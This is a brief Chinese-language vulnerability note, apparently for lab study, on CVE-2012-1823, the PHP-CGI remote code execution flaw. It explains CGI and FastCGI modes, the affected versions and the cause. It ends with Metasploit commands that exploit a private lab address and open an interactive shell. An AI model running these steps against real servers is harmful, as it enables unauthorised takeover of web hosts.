(CVE-2012-1823)PHP-CGI远程代码执行漏洞(80端口)
- 一、介绍
- 二、漏洞影响
- 三、原理
- 四、漏洞复现
一、介绍
php-cgi
是一个类似于消息的“传递者”,它接收web容器收到的http数据包,并把里面的数据交给PHP解释器执行php-cgi
有两个功能,一是提供cgi
方式的交互,二是提供fastcgi
方式的交互cgi
方式:web容器接收到http数据包后,拿到用户请求的文件(cgi
脚本),并fork
除一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,然后子进程结束,但是这个cgi模式不能接收同时接收大量的请求,因为创建进程的时候会消耗服务器资源,资源也不是无限的,所以有了fastcgi
fastcgi
方式:fastcgi
进程可以将自己一直运行在后台,并通过fastcgi
协议接收数据包,执行后返回结果,但自身并不退出- CVE-2012-1823就是存在于以cgi模式运行的php中
- 本质是用户请求的参数被作为了
php-cgi
的参数
二、漏洞影响
- 影响版本 php < 5.3.12 or php < 5.4.2
三、原理
- CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令
四、漏洞复现
- 启动metasploit
msfconsole
- 选择漏洞库
search php_cgi
use exploit/multi/http/php_cgi_arg_injection
-
设置参数,
-
查看需要设置的参数:
show options
-
设置要攻击的机器IP:
set RHOST 192.168.9.147
-
-
开始攻击
exploit
- 利用成功,使用
shell
获得终端,bash -i
获得交互式终端